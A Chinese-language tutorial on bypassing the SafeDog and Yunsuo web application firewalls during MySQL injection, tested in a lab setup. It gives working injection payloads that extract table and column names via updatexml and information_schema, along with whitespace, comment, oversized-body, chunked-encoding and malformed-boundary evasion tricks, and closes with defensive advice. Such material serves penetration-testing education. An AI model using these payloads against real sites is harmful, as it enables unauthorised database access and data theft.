MySQL注入Bypass总结
字数 1673 2025-08-12 11:34:27
MySQL注入Bypass技术详解
一、测试环境与前言
测试环境配置:
- 集成环境:phpStudy 8.1.1.3
- 数据库:MySQL 5.7
- HTTP服务:Apache 2.4
- PHP版本:PHP 5.6
- 靶场:sqlibs
- 防护软件:安全狗v4.0、云锁3.1.2
背景说明:
在真实渗透测试环境中,WAF拦截是常见障碍。本文总结了多种绕过WAF的MySQL注入技术,包括针对安全狗和云锁的绕过方法。
二、MySQL数据库特性利用
1. 空格绕过技术
方法1:控制字符替换
- 可用控制字符:%09(TAB)、%0a(换行)、%0c(换页)、%0d(回车)、%a0(不换行空格)
- 示例:
select%a0name,passwd,ip%0afrom%09users%0dwhere%0cid='-1'
方法2:注释符号绕过
- MySQL注释类型:
--:单行注释#:单行注释/**/:多行注释
- 示例:
select/**/name,passwd,ip/**/from/**/users/**/where/**/id='-1'
方法3:括号绕过
- 示例:
select(name,passwd,ip)from(users)where(id='-1')
2. 全局变量查询
常用全局变量:
@@datadir:数据库文件地址@@basedir:MySQL安装位置@@version:数据库版本(可替代version()函数)@@hostname:系统主机名@@port:数据库端口
3. information_schema数据库
MySQL 5.0+自带information_schema数据库,包含元数据信息:
SCHEMATA表:所有数据库信息(相当于show databases)TABLES表:所有表信息(相当于show tables)COLUMNS表:所有列信息(相当于show columns)USER_PRIVILEGES表:权限信息
4. MySQL 8无select注入
MySQL 8+新增特性:
TABLE语句:TABLE users; -- 等同于 select * from users;VALUES语句(8.0.19+):VALUES ROW(1,2,3); -- 创建三列的行数据
5. 内联注释执行
内联注释格式:/*! MySQL语句 */
- 示例:
select bbb from table1 where aaa='' union /*! select database()*/; - 注意:不能拆分关键词,如
se/*!lect*/不可执行
三、安全狗绕过技术
1. 超大数据包绕过
原理:
WAF通常只检测前2M或4M内容,在POST BODY前添加大量无用数据,payload放在最后
实战方法:
- POST模式下,添加脏数据使Content-Length > 8200
- 正常参数必须放在脏数据后面
示例payload:
uname=-1'+and+updatexml(1,concat((select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),0x7e),2)+--+&passwd=admion123&submit=Submit
2. 函数分隔符绕过
原理:
函数名与括号之间可插入特殊字符,如空白符或多行注释
示例payload:
uname=-1'+and+updatexml%0a(1,concat%0a((select%0agroup_concat(column_name)+from+/*//*/information_schema.columns+where+table_name=0x7573657273),0x7e),2)+--+&passwd=admion123&submit=Submit
3. 空格替换绕过
可用替换符:
- 多行注释:
/**/,/*--*/,/*//*/ - 空白符:%09, %0a, %0c, %0d, %a0
示例payload:
uname=1'+and/*//*/updatexml(1,concat((@@version),0x7e),2)passwd=admion123&submit=Submit
4. 分块传输绕过
工具:
使用BurpSuite插件:chunked-coding-converter
步骤:
- 安装插件
- 右键请求 → Extensions → chunked-coding-converter → Encode Request body
- 配置分块参数(默认即可)
四、云锁绕过技术
1. 超大数据包绕过
方法:
- POST模式下,添加脏数据使Content-Length > 7300
- 正常参数放在脏数据后面
2. 畸形boundary绕过
原理:
PHP解析multipart data时只识别boundary逗号前的内容,而WAF可能识别整个字符串
实战步骤:
- 修改请求为multipart/form-data
- 右键 → Change body encoding
- 修改boundary值为畸形值(如添加逗号和后缀)
五、防御建议
- 对输入进行严格过滤和参数化查询
- 设置合理的WAF检测长度限制
- 更新WAF规则以识别新型绕过技术
- 限制数据库用户权限
- 定期进行安全审计和渗透测试
六、参考资料
- 安全狗在phpstudy环境下的安装与配置
- 详解mysql的information_schema数据库
- SQL注入Bypass总结
- Mysql绕过WAF的一些基础方式
- mysql8注入新特性—无select注入